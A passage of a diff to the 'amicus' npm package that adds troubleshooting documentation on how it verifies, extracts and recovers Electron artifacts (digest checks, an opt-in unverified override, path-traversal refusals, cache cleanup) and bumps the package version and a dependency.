`AMICUS_ALLOW_UNVERIFIED_ELECTRON=1` is set. That is the more alarming of the two, and both provision routes mark it: the only verdict that reports a clean repair is one where amicus's own hash matched a digest it anchored. Both routes say so on stderr as they do it — a cached artifact reports `no published sha256 for …, so its bytes could not be verified`, and a download reports `… could not be pinned`, meaning the bytes were checked only against the `SHASUMS256.txt` the mirror itself served. The gate is an integrity check against a digest amicus can obtain, not a promise that every artifact was vouched for.
+
+That is what a swapped mirror or a planted cache file looks like. It is **also** what a truncated download, a failing disk, or a corporate mirror serving a *rebuilt* Electron looks like — amicus cannot tell them apart, and says so rather than guessing.
+
+**Fix:**
+- **Let it retry.** Online, amicus removes the offending cache entry — only when its filename and its resolved location both say it really is that cache entry — and downloads again with the digest pinned. A one-off truncated download heals itself.
+- **Air-gapped / hand-seeded cache:** the refused file is deleted, so re-copy the cache directory from the machine that downloaded it. A partial copy is the usual cause. If the bytes are deliberately different (below), set the variable *before* you re-copy — the next refusal would remove the fresh copy too.
+- **You deliberately run a rebuilt Electron:** set `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1` (see [configuration.md](./configuration.md#gui-and-debug)). It accepts a cached artifact that contradicts the published digest, and drops the digest pin on a download so a rebuilt artifact can be fetched from your own `ELECTRON_MIRROR` at all. Everything it lets through is marked `unverified`, on both routes, and reported everywhere that mark is read. It widens **two** further things, and both are worth knowing before you set it. The first is the [native-extractor rescue](#amicus-could-not-read-this-electron-archive): with this variable set, an archive amicus's own extractor cannot read is written to a path and handed to your OS's extractor — which spends the custody property everything else on this page rests on, that amicus only ever writes bytes it hashed. The second is a residual on the environment strip. Every `npm_config_electron_*` / `npm_package_config_electron_*` name is stripped from the environment while amicus works out **where the artifact comes from**, so the zip still comes from the official `github.com/electron/electron/releases/download/…` even in a repository whose `.npmrc` names a mirror. But an unpinned download is exactly what this variable produces, and an unpinned download makes `@electron/get` fetch a `SHASUMS256.txt` of its own *after* those names are restored — so a repo-planted mirror **is** read again for that one fetch (measured on every test run by `tests/electron-env-scrub-get5-contract.test.js`). It cannot change which bytes you get, because the artifact's URL was already settled; it can only serve a checksum file that disagrees with the official artifact, which makes the download **fail**. If an unpinned download fails checksum validation on a machine whose `.npmrc` names an Electron mirror, unset the planted names. [configuration.md](./configuration.md#gui-and-debug) states the same residual with the measurement behind it.
+- **Otherwise treat it as real.** Check what `ELECTRON_MIRROR` is set to, and whether the directory you ran `npx -y amicus@latest` in is one you trust.
+- Headless runs and the full council work without the GUI in every one of these cases.
+
+**A second, rarer refusal:** `Electron artifact REFUSED (unsafe archive)` means entries inside the zip tried to write *outside* the destination directory. That one is terminal by design — amicus does not retry it with a different extractor, does not delete the file (it is the evidence), and `AMICUS_ALLOW_UNVERIFIED_ELECTRON` does not apply to it, nor does the native-extractor rescue below. Report the mirror or cache the archive came from.
+
+---
+
+## amicus could not read this Electron archive
+
+**Symptom:** provisioning stops with
+
+```
+[amicus] amicus could not read this Electron archive: could not read the archive: ...
+[amicus] There is ONE rescue for that, and it is OFF. With
+[amicus] AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 set BEFORE provisioning, amicus writes the bytes
+[amicus] it hashed into a private directory inside the electron package and hands that PATH
+[amicus] to a native extractor (tar / Expand-Archive / ditto / unzip) — ...
+```
+
+**Cause:** amicus extracts the artifact **in memory**, from the buffer it hashed, so that the bytes it writes are always the bytes it verified. This message means that extractor could not read the archive at all — a truncated or malformed zip, or a shape it does not handle. The bytes are not written anywhere and no Electron is installed from them. A *cached* artifact identified this way is normally discarded, because a positively-unreadable archive is the one failure that says the cached file is worthless — but **not on the run that prints this message**, which leaves it exactly where it is. The rescue below is the reason: an offer that tells you to set a variable and provision again cannot delete the only copy that re-run could act on. Amicus discards the artifact once the rescue has actually been tried and every native extractor has failed on it too.
+
+**Fix, in order:**
+
+- **Online, do nothing.** Amicus downloads the artifact again with the digest pinned. A truncated download heals itself.
+- **Air-gapped, re-copy first.** Copy the cache directory again from the machine that downloaded it. A partial copy is the usual cause, and a fresh copy costs you nothing.
+- **Only if you cannot obtain another copy: the native-extractor rescue.** Set `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1` and provision again. You do not have to have set it in advance: the run that printed the message above left the archive in place precisely so this one has something to work on. Amicus then writes the bytes it hashed to a path inside the Electron package and hands that path to your OS's own extractor (`tar` / `Expand-Archive` / `ditto` / `unzip`) — the same tools that handled the archive before amicus extracted in memory at all. **This is not a safe operation, and it is not described as one.** Between amicus writing the file and the child process opening it, anything running as your user can substitute it, and what that child extracts is promoted into `dist/` without being hashed again. Amicus prints the whole trade on stderr before it spawns anything, and the result is reported `unverified` even when the artifact's own sha256 matched. Unset the variable afterwards: it also downgrades a digest-mismatch refusal to a warning ([configuration.md](./configuration.md#gui-and-debug)).
+- **What the rescue will *not* do,** whatever this variable is set to: retry an archive refused for path traversal (`REFUSED (unsafe archive)` — terminal by design), retry an extraction that *stalled* (the timeout exists to stop work, not to hand it to a child process), rescue bytes that contradict the published digest (they are known wrong), or paper over a full or unwritable disk. Each of those says something different from "this archive cannot be read", and only the last of those is a rescue amicus was given. Before it hands anything over, amicus also reads the archive's *entry names* and refuses any that would write outside the destination — because an archive can break the extractor early enough that its own traversal check never ran. That name check cannot see inside an archive whose central directory is unreadable, and cannot see a symlink target at all; [configuration.md](./configuration.md#gui-and-debug) states both residuals and names which extractors were measured to refuse a `..` entry themselves.
+- Headless runs and the full council work without the GUI throughout.
+
+---
+
+## Electron artifact NOT extracted (could not be read)
+
+**Symptom:** provisioning stops with
+
+```
+[amicus] Electron artifact NOT extracted: electron-v43.1.1-win32-x64.zip
+[amicus]   C:\Users\me\AppData\Local\electron\Cache\<sha>\electron-v43.1.1-win32-x64.zip
+[amicus]   could not be opened or read at all (EACCES: permission denied, open '...')
+[amicus] amicus reads an artifact ONCE, into memory, and hashes and extracts THOSE
+[amicus] bytes. It could not read these, so it has nothing it could vouch for and
+[amicus] has extracted nothing. The file was left exactly where it is.
+```
+
+**Cause:** amicus reads an Electron artifact exactly once, through a single file descriptor, into a
+buffer of its own. The sha256 and the extraction both act on that buffer. Anything that can write the
+download cache — which, on your own machine, includes anything running as you — can change the file
+afterwards, and it changes nothing: the bytes amicus hashed are already the bytes it is going to
+write. When the read itself cannot be completed there is nothing to vouch for, so amicus refuses
+rather than extracting something it never saw whole.
+
+The third line names which way the read failed:
+
+| line | what happened |
+|---|---|
+| `could not be opened or read at all` | permissions, a broken path, a disconnected drive — the fs error is quoted |
+| `is not a regular file` | the cache entry is a directory, a fifo, or a device node |
+| `is empty` | a zero-byte file, usually an interrupted download |
+| `is far larger than any electron artifact` | above the 1 GiB ceiling; a real artifact is ~140–160 MB |
+| `ended early while amicus was reading it` | the file is shorter than it said it was |
+| `changed size while amicus was reading it` | it grew under the read — what an active swap looks like |
+
+**Fix:**
+- Delete the cache entry the message names and provision again; amicus re-downloads it.
+- Check the permissions on the cache root (`ELECTRON_CACHE`, or `%LOCALAPPDATA%\electron\Cache` /
+  `~/Library/Caches/electron` / `~/.cache/electron`).
+- Headless runs and the full council work without the GUI meanwhile.
+
+**Notes:**
+- **Your cached artifact is never moved, copied, or deleted by this refusal.** The download cache is
+  exactly as it was, whether the repair succeeded, was refused, or was interrupted — which matters
+  most on an air-gapped machine whose cache was hand-seeded. Nothing is written to the temp directory
+  either: earlier versions staged a ~170 MB copy there, and no longer do.
+- **A killed run can leave one directory behind, and the next provision sweeps it.** Extraction
+  happens in `<electron package>/.amicus-incoming-<hex>/`, which is promoted into `dist/` by a single
+  rename at the end and removed afterwards — but that removal is an in-process `finally`, and a kill
+  does not run it. Ctrl-C during `npm install`, a lid close or an AV kill can therefore leave one
+  behind, as can the sibling `.amicus-retired-<hex>` when an Electron is running off the tree being
+  replaced (Windows refuses to delete it). Both live inside the Electron package directory, where no
+  OS temp cleaner reaches them, so **amicus sweeps them itself: every provision removes any
+  `.amicus-incoming-*` or `.amicus-retired-*` in that directory that is more than a day old.** The
+  age rule is deliberate — it cannot take a tree another run may still be writing. What is still
+  guaranteed either way: a half-written tree is never what `dist/` contains, and a kill mid-extract
+  leaves the previous `dist/` exactly where it was.
+- **A promote never removes a working `dist/` to make room.** If the old tree cannot be renamed out of
+  the way (a handle held on it, or an AV filter denying the move) and it holds a usable executable,
+  the repair refuses and leaves it untouched rather than deleting it with no way back. If it holds no
+  executable it is not an install, and it is replaced. In the one case where the tree was renamed away
+  and neither the swap nor the rollback could run, the previous `dist/` is intact at
+  `.amicus-retired-<hex>` and the error names it — rename it back to `dist/` to restore it.
+- **A related refusal**, `Refusing to provision electron: … is not a usable artifact name`, means the
+  `version` in the Electron package's own `package.json` is not a plausible version string. Amicus
+  builds the artifact filename from it and refuses to use anything that is not a plain filename, since
+  it would otherwise be joined into a path. Reinstall the `electron` package.
+- **`Cached electron artifact … was NOT extracted (…); it was LEFT IN PLACE`** is the other half of
+  the same rule: the archive was fine and the *destination* was not (no space, an unwritable `dist/`,
+  a path too long). A cached artifact is only ever evicted when the archive itself is bad.
 
 ---
 

package/docs/usage.md

@@ -540,7 +540,7 @@ $ amicus status demo123 --json
   "taskId": "demo123",
   "status": "complete",
   "elapsed": "5m 0s",
-  "version": "4.9.4",
+  "version": "4.9.6",
   "model": "google/gemini-2.5-flash",
   "phase": "terminal"
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "amicus",
-  "version": "4.9.4",
+  "version": "4.9.6",
   "mcpName": "io.github.BourbonDog/amicus",
   "description": "Multi-model LLM Council + parallel AI window for Claude Code. Run structured council reviews across Gemini, GPT, DeepSeek and more — or fork a conversation to any model and fold the results back.",
   "keywords": [
@@ -84,6 +84,7 @@
     "opencode-ai": "1.18.15",
     "tiktoken": "^1.0.0",
     "update-notifier": "^7.3.1",
+    "yauzl": "^2.10.0",
     "zod": "^3.0.0"
   },
   "optionalDependencies": {